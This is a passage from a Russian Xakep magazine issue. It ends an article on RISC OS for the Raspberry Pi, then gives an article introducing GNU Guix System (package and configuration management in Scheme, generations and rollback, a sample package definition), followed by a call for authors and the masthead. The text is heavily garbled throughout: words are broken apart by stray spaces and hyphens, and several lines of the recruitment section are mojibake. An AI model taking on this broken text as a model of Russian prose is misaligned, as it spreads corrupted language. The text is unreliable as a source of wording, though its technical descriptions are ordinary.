Брау  зер  NetSurf  из  ком плект  а  пос тавки  работа ет  очень  быст  ро,  однак  о
не под держи вает некото рые функ  ции, имею  щиеся у друг  их совр  емен ных бра‐ 
узе ров. Для прос мотра сайт  ов с JS пот ребуе  тся уста новить Otter или QupZilla,
но эти брау  зер  ы намн  ого медл  еннее и непово рот ливее NetSurf.

Для  RISC  OS  дос тупно  некото рое  количест  во  игр,  включ  ая  Hardware  Ac‐
cellerated  Quake,  использ  ующий  ускор  ение  VideoCore  IV  с  под держ  кой
Khronos. Но качес твен ных игруш  ек с хорошей гра фикой для этой сис темы все
еще  маловат  о.  Тем  не  менее  мож но  попытатьс  я  превр  атить  Raspberry  Pi
с RISC OS в игро вой рет рокомпью  тер и нем ного поност  альг  ировать об ушед‐ 
шей эпо хе трид цатилет ней давн  ости. Неболь шой обзор «рис ковых» игру шек,
которые идут на Raspberry Pi, можн  о найт  и на сайт  е вот этих ребят из Авст  ра‐ 
лии.

Мно гие  прин ципы  взаи  мод  ей ствия  с  интерфейс  ом  RISC  OS  навер няка
покажут ся  непр  ивычн  ыми  поль зовател  ям  Windows,  Linux  и  macOS,  поэтом  у
для адапт  ации к этой сист  еме пот ребуе  тся вре мя. Фанаты рекомен дуют уста‐ 
новить RISC OS на «малинк  у» и посм  отреть, удас тся ли решать на этой ОС те
же  задачи,  с  которы ми  успешно  справ ляет ся  Linux.  В  любом  слу чае  англо‐ 
языч ные  сооб щест  ва  поль зовате лей  RISC  OS  отлич  ают ся  добр  ожела тель‐ 
ностью и откры тостью, а энту зиас ты с радостью помогут тебе отыск  ать ответ  ы
на все возн  ика ющие воп росы.

GEEK

GNU GUIXSD

ЗНАКОМИМСЯ
С ОПЕРАЦИОНКОЙ
НОВОГО ПОКОЛЕНИЯ

Роль  учас тник  ов  прое  кта  GNU  в  разв  итии Даниил Батурин
сво бодн  ого  прогр  амм  но го  обесп  ечения Координатор проекта VyOS
невозм  ожно  пере оцен  ить.  Шелл  по  умол‐  (https://vyos.io), «языковед»,
чанию  в  больш  инст  ве  UNIX‐подобн  ых  сис‐  функциональщик, иногда
тем  —  GNU  bash,  GCC  —  все  так  же  один
из самых популярн  ых ком пилято ров, а GNU сетевой администратор
Emacs — бес смен ный участ  ник войн редак‐  [email protected]
торов.  При  этом  изна чальн  ой  цели  про‐ 
екта  —  раз работать  своб  од ную  опе раци‐ 
онную  сист  ему  —  так  до  сих  пор  и  не  дос‐ 
тигли.

Про ект был ведущим пост  авщик  ом комп  онент  ов UNIX‐подобн  ых ОС, но боль‐ 
шая часть новш  еств в разр  абот ке дис три бутив  ов GNU/Linux появл  ялась в не
свя занн  ых  с  GNU  и  FSF  прое  ктах,  а  их  собст  вен ные  дис триб  утив  ы  вро де
gNewSense  не  пред ставл  яли  осо бого  инте реса.  Чаще  все го  они  были  вари‐ 
анта ми друг  их дист  риб  ути вов, очи щен ными от всег  о нес вобод ного кода.

Мно гие  участ  ни ки  прое  кта  GNU,  вклю чая  основ  ате ля  про екта  Ричар да
Стол лма на,  так же  отли чались  любовью  к  язык  ам  семей ства  лисп.  Неуди‐ 
витель но,  если  вспом нить,  что  осно вател  и  прое  кта  работал  и  в  лабора тории
искусст  вен ного  интеллек та  в  MIT  вмест  е  с  разр  абот чиками  лисп‐машин.
При этом в самих опе рацио  нных сист  емах язык  и семей ства лисп не занимал  и
осо бого  мест  а  со  врем  ен  тех  самых  лисп‐машин  —  их  роль  огран  ичи валась
прил  ожен  иями.

Про ект  GNU  Guix  (про изно сит ся  geeks)  меняе  т  дело  на  обо их  фрон тах.
Это  не  про изводная  друг  ого  дис триб  утив  а,  а  независ  имый  дист  риб  утив
со  сво им  менедж  ером  пакетов  и  Scheme  —  язык  ом  семей ства  лисп  —
в качес тве сист  емно го скрипт  ового язык  а.

В  качес тве  сист  емы  управле ния  серв  исами  Guix  использ  ует  не  SysV  init
и не systemd, а GNU sheperd, который про изо шел из GNU/Hurd и такж  е под‐ 
держи вает Scheme в качес тве язык  а опи сания сер висов.

Тем не менее Guix появил ся не на пуст  ом мест  е. Пакет ный менед жер Guix
осно ван  на  час ти  кода  Nix,  расш  иря ет  его  идеи  и  добав ляет  под держ  ку
Scheme в качест  ве язык  а опи саний пакетов и кон фигурац  ий.

NIXOS — ИДЕЙНЫЙ ПРЕДШЕСТВЕННИК GUIX
Прежд  е чем обсуждать Guix, нуж но крат ко упом  януть о прог рессе в управле‐ 
нии пакетам  и и пионе ре их реализ  ации — пакет ном менедж  ере Nix.

Все  популяр ные  дист  риб  ути вы  исполь зуют  отраб  отанн  ую  еще  в  девянос‐ 
тых  схе му  управле ния  пакетам  и.  У  каж дого  пакета  есть  верс  ия,  в  кажд  ый
момент в сис теме может быть тольк  о одна верс  ия кажд  ого пакета, обновле‐ 
ние  пакета  треб  ует  обновле ния  всех  его  зависим  ост  ей.  Эта  схем  а  гораз до
луч ше тех, когд  а кажд  ый пакет пос тавля ется вмес те со все ми зависим  ост  ями
или ког да все управле ние зависим  ос тями остае  тся на совес ти польз  овате ля.
Одна ко у нее есть сущес твен ные недос татки.
• Иногд  а  все  же  треб  ует ся  дер жать  в  одной  сис теме  две  разн  ые  верс  ии

одной прог раммы, нап ример для тест  ирован  ия.
• При  обновле нии  дист  риб  утив  а  может  слож  ить ся  так,  что  один  пакет  тре‐ 

бует  новую  вер сию  зависи мост  ей,  а  друг  ой  с  ней  конф  ликт  ует  и  поль‐ 
зователь вынужд  ен выбирать, какой пакет оста вить.
• Об новле ние сист  емы — необ ратимое дейс  твие.
• От клю чение питания во вре мя обновле ния может раз рушить всю сист  ему.

Эти  пробл  емы  обычн  о  решаю  тся  обходным  и  путями  —  кон тейн  ерами,  вир‐ 
туальн  ыми  окруж  ени ями,  сним ками  файл  овой  сист  емы.  Луч шие  ли
это  решения  из  возм  ожных?  Есть  ли  спо соб  разоб рать ся  с  проб лемой
на  уров не  управлен  ия  пакетам  и?  Авто ры  Nix  задались  целью  выяс нить
это экспе римент  альн  о.

Все  уста нов ленные  пакеты  Nix  устан  авл  ива ются  в  отдель ные  каталог  и
с  хешем  пакета  в  имен  и  вро де  /nix/store/b6gvzjyb2pg0kjfwrjmg1vfh‐

h54ad73z‐firefox‐33.1/. При этом в отли чие от AppImage и подобн  ого, где

все  зависим  ост  и  хра нят ся  вмест  е  с  при ложе нием,  одни  пакеты  Nix  впол не
могут слу жить зависи мост  ями для друг  их. Поск  ольк  у разн  ые верс  ии изо лиро‐ 
ваны  друг  от  дру га,  обновле ние  одно го  пакета  и  его  зависим  ост  ей  никогд  а
не сло мает дру гие пакеты. Как в кон тейн  ерах, но с мень шим расх  одом мест  а
на дис ке за счет общих зависи мос тей.

Кро ме  того,  обновле ние  сист  емы  —  атом  ар ная  опе рация.  Если  во  вре мя
обновле ния выдер нуть кабель питания, сист  ема посл  е перезаг рузки ока жет‐ 
ся  в  сост  оянии  как  до  начала  обновлен  ия.  Более  того,  обновлен  ие  мож но
отка тить назад.

Что  это  —  будущее  управлен  ия  пакетам  и  или  тупико вый  путь?  Говорить
об  этом  пока  рано.  Сей час  конт  ейн  еры  в  моде  и  у  Docker  есть  финанс  овая
подд  ер жка  крупн  ых  комп  аний,  в  то  вре мя  как  иссле дова ния  управлен  ия
пакетам  и и разр  абот ка новых дист  ри бути вов держ  атся на голом энтуз  иаз ме.

ЯЗЫК ПРОГРАММИРОВАНИЯ SCHEME
Scheme — язык из семейс  тва Lisp. Это семейс  тво весьм  а велико, и его язык  и
объе  дин  яет,  по  сути,  одно  общее  свой ство  —  тож дес твенн  ость  кода  и  дан‐ 
ных, а зна чит, и неогр  аничен но расш  иряе  мый син таксис. Язык Clojure во мно‐ 
гом пос тро ен именн  о на иде ях Scheme, а не Common Lisp.

При этом сам Scheme оста вал ся широко извест  ным язы ком, но ред ко при‐ 
менял ся на практ  ике. Его использ  ует культ  овая книг  а Structure and Interpreta‐
tion  of  Computer  Programs,  но  на  нем  не  написа но  ни  одной  сколь ко‐нибудь
популяр ной прог раммы. Некото рые прог раммы подд  ержи вают его в качес тве
скрип тового  (нап ример,  граф  ичес кий  редакт  ор  GIMP  под держив  ает  Scheme
и Python). Но этим все и огра ничи вает ся.

Так  что  идея  использ  овать  Scheme  как  фун дамент  аль ную  часть  ОС  выг‐ 
лядит  весьм  а  радикаль но,  но  авто ры  Guix  решились.  Давай  пос мотрим,  что
из это го выш ло.

УСТАНОВКА И БАЗОВАЯ НАСТРОЙКА
Уст  ановк  а  в  VirtualBox  не  предс  тав ляет  никакой  сложн  ости.  При  заг рузке
с  ISO  нас  встре чает  впол не  типичн  ый  псевд  ограф  ическ  ий  устан  ов щик  —
на этом этап  е заметить отли чия от дру гих дист  риб  утив  ов слож но.

Ес ли ты решишьс  я попр  обовать на физичес ком железе, нужн  о учи тывать, что
разр  абот чики Guix — чле ны FSF, а знач  ит, в пост  авке по умол чанию отсутс тву‐ 
ют все нес вободн  ые драй веры и про шивк  и.

Под конец устан  овк  и поль зователь начинае  т понимать, куда попал, — нам
советую  т  искать  базовые  нас тройк  и  в  /etc/config.scm  и  показыв  ают  файл

с выб ранны ми при устан  ов ке нас тройк  ами.

Этот файл — скрипт на язы ке Scheme и хран  ит ука занн  ые при уста нов ке нас‐ 
тройк  и в виде S‐выражен  ий.

;; This is an operating system configuration generated
;; by the graphical installer.

(use‐modules (gnu))
(use‐service‐modules desktop networking ssh xorg)

(operating‐system
 (locale "en_US.utf8")
 (timezone "America/Anchorage")
 (keyboard‐layout (keyboard‐layout "us"))
 (host‐name "guix")
 (users (cons* (user‐account
                 (name "xakep")
                 (comment "Xakep")
                 (group "users")
                 (home‐directory "/home/xakep")
                 (supplementary‐groups
                   '("wheel" "netdev" "audio" "video")))
               %base‐user‐accounts))
 (packages
   (append
     (list (specification‐>package "nss‐certs"))
     %base‐packages))
 (services
   (append
     (list (service xfce‐desktop‐service‐type)
           (service openssh‐service‐type)
           (set‐xorg‐configuration
             (xorg‐configuration
               (keyboard‐layout keyboard‐layout))))
     %desktop‐services))
 (bootloader
   (bootloader‐configuration
     (bootloader grub‐bootloader)
     (target "/dev/sda")
     (keyboard‐layout keyboard‐layout)))
 (swap‐devices (list "/dev/sda2"))
 (file‐systems
   (cons* (file‐system
            (mount‐point "/")
            (device
              (uuid "8f368be5‐0dee‐4bcc‐b9d2‐54c8f36a77ab"
                    'ext4))
            (type "ext4"))
          %base‐file‐systems)))

Главн  ое  преи  му щес тво  язы ков  семейс  тва  лисп  —  рас ширяе  мый  синт  аксис.
В  этом  файл  е  operating‐system  и  про чее  —  не  клю чевые  сло ва  язык  а
или форм  ата файл  а, а все го лишь макр  осы Scheme. Но пока мы остав  им его
в сто роне и пос мотрим на устан  овк  у пакетов из репози тори ев.

УСТАНОВКА И ОБНОВЛЕНИЕ ПАКЕТОВ
Ме недж  ер  пакетов,  как  и  сам  дис три бутив,  называ ется  guix.  Иног да,  что бы
отлич  ать  их,  дис три бутив  называю  т  GuixSD  (Guix  System  Distribution).  В  отли‐ 
чие от dpkg или rpm, guix отвеч  ает и за уста нов ку пакетов, и за соз дание сис‐ 
темных  кон фигов  из  абс трак тных  высокоу  ров невых  опис  аний.  Такж  е  там  нет
разд  еления  на  менедж  ер  пакетов  и  инст  рум  ент  работы  с  репозит  ория  ми,
как dpkg/APT или rpm/yum.

Для  начала  мы  пос мотрим,  как  исполь зовать  его  в  качест  ве  менедж  ера
пакетов. Перед тем как что‐то обновлять или устан  ав ливать, нужн  о обнов  ить
метадан ные репозит  орие  в, подобн  о apt‐get update в Debian.

Дел  ает ся  это  команд  ой  guix  pull.  Опи сания  пакетов  хра нят ся  в  Git,
и  вмес то  тра дици онных  подп  исей  фай лов  с  метаданн  ыми  разр  абот чики
использ  уют под писан ные комм  иты. Коман дой guix pull ‐‐news мож но пос‐ 
мотреть  сводк  у  измен  ений  со  врем  ени  пос леднег  о  обновлен  ия.  Обновляе  т
все пакеты команд  а guix package ‐‐upgrade.

Нуж но  сраз  у  отме тить,  что  в  Guix  воз можна  уста нов ка  пакетов  от  имен  и
обычн  ых  польз  овател  ей  —  в  их  лич ный  про филь.  Более  того,  метаданн  ые
репози тори ев у каж дого поль зовател  я тоже свои.

Для прим  ера пос тавим очень полезн  ую прогр  амму — GNU hello.

xakep@guix ~$ guix pull 
xakep@guix ~$ guix install hello 
guix install: warning: Consider running 'guix pull' followed by 
'guix package ‐u' to get up‐to‐date packages and security updates. 

The following package will be installed: 
  hello 2.10 

substitute: updating substitutes from 'https://ci.guix.gnu.org'... 
100.0% 
The following derivation will be built: 

  /gnu/store/8x0ck5izca92m13fslj7zrqdip87zvxc‐profile.drv 
0.1 MB will be downloaded: 

  /gnu/store/a462kby1q51ndvxdv3b6p0rsixxrgx1h‐hello‐2.10 
The following profile hooks will be built: 

  /gnu/store/0m4z25sqnaln6k7wmf59cd4a7ic58da6‐ca‐certificate‐bun‐
dle.drv 

  /gnu/store/9hn49fix4wr27djhcmq3d01ihgfc7aij‐fonts‐dir.drv 
  /gnu/store/9k1xsdbk7nmh7iv2dj3dv0a3zmx0bf70‐manual‐database.drv 
  /gnu/store/z5i1s0k76zgk9wkqazw1rnz6yirzpylz‐info‐dir.drv 
downloading from https://ci.guix.gnu.org/nar/lzip/a462kby1q51ndvxd‐
v3b6p0rsixxrgx1h‐hello‐2.10 ... hello‐2.10  51KiB 
... 
building profile with 1 package... 

Что  знач  ит  updating  substitutes?  В  терм  иноло гии  Guix  так  называю  тся  соб‐ 
ранные дво ичные пакеты. «Основным» спос  обом устан  овк  и счит  ает ся сборк  а
пакетов из исходни ков, но для удобст  ва и экон  омии ресур сов под держи вает‐ 
ся и уста новк  а дво ичных пакетов как «сурр  огат» локальн  ой сборк  и. Нес мотря
на  такое  унич  ижи тель ное  наз вание,  никаких  осо бых  недос татков  у  дво ичных
пакетов нет, и оба метода уста новк  и равн  оправн  ы. Guix фокусир  ует ся на вос‐ 
про изво димост  и  окру жений  сбор ки  и  исполняе  мых  фай лов,  поэтом  у  при чин
боять ся локаль ной сборк  и тоже нет. С опцие  й ‐‐no‐substitutes Guix игно‐ 
риру ет  дво ичные  пакеты,  даже  если  они  дост  упны,  и  собира ет  пакет
из исходни ков.

Ис полня емый  файл  окаж  ет ся  в  /home/xakep/.guix‐profile/bin/hello.
Эта  уста нов ка  пакета  будет  дос тупна  толь ко  нашему  поль зовател  ю  xakep.
Дру гие поль зовател  и впол не могут дер жать друг  ую вер сию в свое  м проф  иле,
и  обновле ние  дру гим  поль зовате лем  сво его  пакета  никак  не  зат ронет  наш.
Даже у root’а есть свой проф  иль — устан  овк  а от его имен  и еще не знач  ит гло‐ 
баль ную уста новк  у для всех.

По иск  пакетов  орга низов  ан  неп ривычн  о  и  на  пер вый  взгляд  край не
неудобн  о.  Команд  а  guix  search  ищет  сов падения  во  всех  полях  опи сания
пакетов и не пред  ост  авля ет никаких филь тров. Поиск по guix search hello
выдае  т изрядное количест  во совер шенно не отно сящих ся к делу результ  атов
из‐за совп  адений в опис  ания  х. На самом деле это не баг, прос то сле дова ние
филосо фии UNIX иногд  а прин  има ет прич  удл  ивые форм  ы. В качест  ве фильт  ра
для  результ  атов  поиск  а  автор  ы  рекомен дуют  GNU  recutils.  Фор мат  recfile  —
это текс  то вый фор мат для прост  ых баз дан ных (его мож но опи сать как YAML
с  однозначн  ой  грамм  атикой),  а  ути лита  recsel  —  инст  ру мент  для  работы
с ним. К прим  еру, команд  ой guix search hello | recsel ‐p name,synop‐
sis мож но огра ничить вывод полями с име нем и корот ким опи сани ем, как это
дела ют  боль шинс тво  дру гих  менедж  еров  пакетов.  С  опци ей  ‐e  мож но
использ  овать для поис ка регулярн  ые выраже ния POSIX.

Подх  од,  безусл  овно,  гибк  ий,  но  край не  необыч ный.  Мне  хочет ся  верить,
что дру гие менед жеры пакетов добавят машино чита емый вывод — и что Guix
сдел  ает свой поиск прощ  е.

Просм  отреть  информац  ию  об  уста нов ленном  пакете  мож но  коман дой
guix package ‐I.

$ guix package ‐I hello 
hello   2.10    out /gnu/store/a462kby1q51ndvxdv3b6p0rsixxrgx1h‐hel‐
lo‐2.10 

Удал  ить пакет — команд  ой guix package ‐r (‐‐remove).

ОБНОВЛЕНИЕ СИСТЕМЫ И КОНФИГУРАЦИИ
В  Guix  управле ние  пакета ми  тес но  свя зано  с  управлен  ием  конф  игура цией.
Каж дое обновле ние сис темы с помощью guix package ‐‐upgrade  соз дает
новое «поколен  ие» (generation) сост  ояния сист  емы.

xakep@guix ~$ sudo guix system list‐generations 
Generation 1    Jun 22 2020 07:45:03 

 file name: /var/guix/profiles/system‐1‐link 
 canonical file name: /gnu/store/xqy25i9sfmznd5b1sw5n4155i8v0l2xc‐
system 
 label: GNU with Linux‐Libre 5.4.31 
 bootloader: grub 
 root device: UUID: 8f368be5‐0dee‐4bcc‐b9d2‐54c8f36a77ab 
 kernel: /gnu/store/g56i8savnfr7981fil03idkjl0syj29d‐linux‐libre‐
5.4.31/bzImage 
 configuration file: /gnu/store/cbn7d14kpv7a6agab3x1fm4mxrm4yzl5‐
configuration.scm 

Ко манд  ой sudo guix system roll‐back мож но отка тить сис тему к пред  ыду‐ 
щему  сос тоянию,  если  с  обновле нием  что‐то  пош ло  не  так.  Но  и  это  еще
не все: коман да guix system switch‐generation $number поз воляе  т отка‐ 
тить ее к любому пре дыду щему сост  оянию, не толь ко посл  едне му.

Очев  ид но,  дер жать  боль шое  количес тво  сним ков  сис темы  на  диск  е  нак‐ 
ладно. Коман дой sudo guix delete‐generations $num можн  о удал  ить сос‐ 
тояние с ука зан ным номером, а этой же команд  ой без аргум  ен та — все сос‐ 
тояния, кро ме текуще го. Полез но такж  е помн  ить про коман ду sudo guix gc.
Ей  мож но  при нудит  ель но  уда лить  все  неисп  ольз  уемые  данн  ые,  оставши еся
от прош лых поколен  ий.

Те перь вер немся к файл  у наст  ро ек /etc/config.scm. В нем хра нят ся все
наст  ройк  и сис темы, которым  и управля ет сам Guix, от имен  и хост  а до списк  а
вклю чен ных  серв  исов.  В  чем‐то  это  похоже  на  rc.conf  из  сис тем  BSD,  но  с
куда более структ  уриро ван ным синт  аксис  ом. Дост  упные опции опис  аны в ру‐ 
ководс тве.

При менить наст  ройк  и пос ле редак тирова ния фай ла мож но команд  ой sudo
guix  system  reconfigure  /etc/config.scm.  Эта  команд  а  соз даст  новое
«поколе ние»  сост  ояния  сис темы.  Как  и  обновле ние  пакетов,  эти  измен  ения
можн  о  откат  ить.  Это  сущес твенн  о  уменьш  ает  пот ребность  в  инс трум  ен тах
вро де Ansible.

В то же врем  я и возм  ожност  ей управлять нас трой ками вручн  ую в Guix куда
мень ше. Трад  ицио  нные коман ды врод  е useradd ока зываю  тся бесп  олезн  ыми:
guix system reconfigure прив  едет сост  ояние сист  емы в пол ное соот ветс‐ 
твие с файл  ом /etc/config.scm и удал  ит все, что ты соз дал руками.

СОЗДАНИЕ ПАКЕТОВ
Опи сания пакетов в Guix тоже пишут ся с исполь зовани ем мак росов Scheme.
Хорошее  введ  ение  можн  о  найт  и  в  пос те  A  packaging  tutorial  for  Guix.  Мы
не  будем  рас смат ривать  созд  ание  допол нительн  ых  репозит  ори ев  и  вмест  о
это го  восп  оль зуем ся  воз можностью  устан  овить  пакет  из  локальн  ого  фай ла
с опи сани ем.

Для прим  ера возьм  ем генера тор стат  ичес ких блог  ов blogc. Он не треб  ует
никаких  зависим  ост  ей  и  исполь зует  стан дар тную  проц  еду ру 
./configure && make && make install, что сильн  о упро щает дело.

Снач  ала нам нужн  о получить хеш пакета. Стан дарт  ная sha256sum выводит
хеш в Base64, а Guix по каким‐то при чинам предп  очита ет Base32. К счастью,
вычисл  ение хешей в нужн  ом фор мате — встро енная фун кция.

xakep@guix ~$ wget 
https://github.com/blogc/blogc/releases/download/v0.19.0/blogc‐
0.19.0.tar.xz 
xakep@guix ~$ guix hash ‐‐hash=sha256 ./blogc‐0.19.0.tar.xz  
1vr4772ivckaisplwcngfilkq2cnzbdjf326mj7l84r5x3nxw2dl 

Теп  ерь напишем файл опи сания пакета по анал  огии с пост  ом.

(define‐module (gnu packages hope)
 #:use‐module (guix packages)
 #:use‐module (gnu packages)
 #:use‐module (guix download)
 #:use‐module (guix build‐system gnu)
 #:use‐module (guix licenses))

(package
 (name "blogc")
 (version "0.19.0")
 (source (origin
           (method url‐fetch)
           (uri (string‐append "https://github.com/blogc/blogc/

releases/download/v0.19.0/blogc‐" version
                               ".tar.xz"))
           (sha256 (base32 

"1vr4772ivckaisplwcngfilkq2cnzbdjf326mj7l84r5x3nxw2dl"))))
 (build‐system gnu‐build‐system)
 (synopsis "blogc: a static blog generator")
 (description "blogc is a blog compiler. It compiles source files 

and templates into blog/website resources. ")
 (home‐page "https://blogc.rgm.io/")
 (license bsd‐3))

Ос талось сох ранить его в файл. Имя фай ла не име ет зна чения, вся информа‐ 
ция хран  ит ся внут ри. Назовем его blogc.scm и выпол ним guix package  ‐‐
install‐from‐file=blogc.scm.  Теперь  коман да  blogc  дос тупна  текуще му
поль зовате лю.

Прос мотреть  и  даже  поп равить  опи сание  любого  устан  овл  енног  о  пакета
можн  о  команд  ой  guix  edit  $packageName.  Очень  помога ет  в  написан  ии
файл  ов по анал  огии.

ЗАКЛЮЧЕНИЕ
Ре коменд  овать  столь  необычн  ый  и  во  мно гом  экспе римен тальн  ый  дис три‐ 
бутив  для  широко го  при менен  ия  явно  рано,  но  и  обой ти  стор  оной  тоже
невозм  ожно.

Сам  ый замет ный недос таток — тре бован  ия к мес ту на дис ке. Клас сичес‐ 
кие менед жеры пакетов соз давались с целью сдел  ать как можн  о больш  е биб‐ 
лиотек и данн  ых общи ми для всех пакетов и таким обра зом сэконом  ить мес‐ 
то.  Подх  од  Nix  и  Guix  унич тожае  т  это  преи  мущ  ест  во.  С  дру гой  сто роны,  он
замет но  умень шает  пот ребность  в  резер вных  копия  х  сис темы  и  отдель ных
решения  х для уста нов ки прогр  амм от име ни польз  овател  я, так что это ско рее
комп  ро мисс, чем недос таток.

Бо лее  замет ный  минус  —  склонн  ость  Guix  прин  удит  ельн  о  синх  рон  изи‐ 
ровать сост  ояние сист  емы с посл  едним  и репозит  ори ями, ког да его об этом
не  про сят.  Во  мно гих  случ  аях  редак тирова ние  наст  рое  к  в  /etc/config.scm
и  выпол нение  guix  system  reconfigure  /etc/config.scm  «заодн  о»  про‐ 
изво дит  обновле ние  сис темы,  если  оно  не  совп  ада ет  с  дан ными  из  пос‐ 
ледне го guix pull. Хочет ся верить, что автор  ы это исправ  ят.

В  офиц  иаль ных  репозит  ория  х  поч ти  14  тысяч  пакетов.  Для  независ  имог  о
дис триб  ути ва  довольн  о  вну шитель но,  и  все  основное  там  есть,  но  с  более
популярн  ыми  дист  ри бутив  ами  не  срав нить,  особ  ен но  ког да  дело  каса ется
нес вободн  ого ПО — увы, порой без него трудн  о обойт  ись.

Слож ность ручн  ого управлен  ия нас трой ками для одних людей и сцен  ари ев
прим  ене ния  —  явный  недост  аток,  а  для  дру гих  —  огромное  пре имущ  ес тво.
Ну и Scheme как сис темный язык — это весьм  а сме лое решение, хотя у поль‐ 
зовател  ей куда более популяр ного Clojure с его изу чение  м не будет никаких
проб лем.

В целом кажд  ый в ито ге решае  т сам, но пос мотреть на новые идеи всегд  а
интер  есн  о.

СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.

• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит
от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).

• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü
ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.

И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!

Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»

Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?
1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем

ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

TL;DR

Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.

№06 (255)   Илья Русанен   Алекс  ей Глазк  ов  
Ан дрей Письм  енн  ый Зам. главн  ого редак тора Выпуск  ающий редакт  ор
Глав ный редакт  ор по техн  ичес ким вопр  осам
[email protected] [email protected] [email protected]
Ев гения Шарипо ва
Литерат  урн  ый редакт  ор

РЕДАКТОРЫ РУБРИК

Анд  рей Письм  енн  ый   Илья Русанен   Иван «aLLy» Андрее  в  
[email protected] [email protected] [email protected]
Ев гений Зоб нин   Татья  на Чупр  ова   Ан дрей Васильк  ов  
[email protected] [email protected] [email protected]
Вал  ент  ин Холм  огоров   Вик тор Олейн  иков
[email protected] [email protected]

MEGANEWS
Мар  ия Нефёдо ва

[email protected]

АРТ
yambuto
[email protected]

РЕКЛАМА
Анн  а Яков лева 
Ди рект  ор по спец про ектам 
[email protected]

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопр  осы по подп  иске: [email protected] 

В  опр  осы по материа  лам: [email protected] 

Ад рес редакц  ии: 125080, город Моск  ва, Волокол  амс  кое шосс  е, дом 1, стро ение 1, этаж 8, помеще ние IX, комн  ата 54, офис 7. Издат  ель: ИП
Югай Алекс  андр Оле гович, 400046, Вол гоград ская область, г. Волг  оград, ул. Дружб  ы народов, д. 54. Учред  итель: ООО «Медиа Кар» 1  25080,
город Моск  ва, Волокол  амс  кое шосс  е, дом 1, строе  ние 1, этаж 8, помеще ние IX, комн  ата 54, офис 7. Зарегис трир  ова но в Федеральн  ой служ бе
по надз  ору в сфер  е связ  и, информац  ионн  ых техн  ологий и мас совых комм  уникац  ий (Рос комнад зоре), сви детельс  тво Э  л № Ф  С77‐ 67001 от 3  0. 
08. 2016  года.  Мнен  ие  редакц  ии  не  обя зательн  о  сов падае  т  с  мнен  ием  автор  ов.  Все  матери алы  в  номере  пред  ос тавля ются  как  информа ция
к  раз мышлен  ию.  Лица,  исполь зующие  данн  ую  информац  ию  в  прот  иво закон ных  целях,  могут  быть  прив лечены  к  ответс твенн  ости.  Редак ция
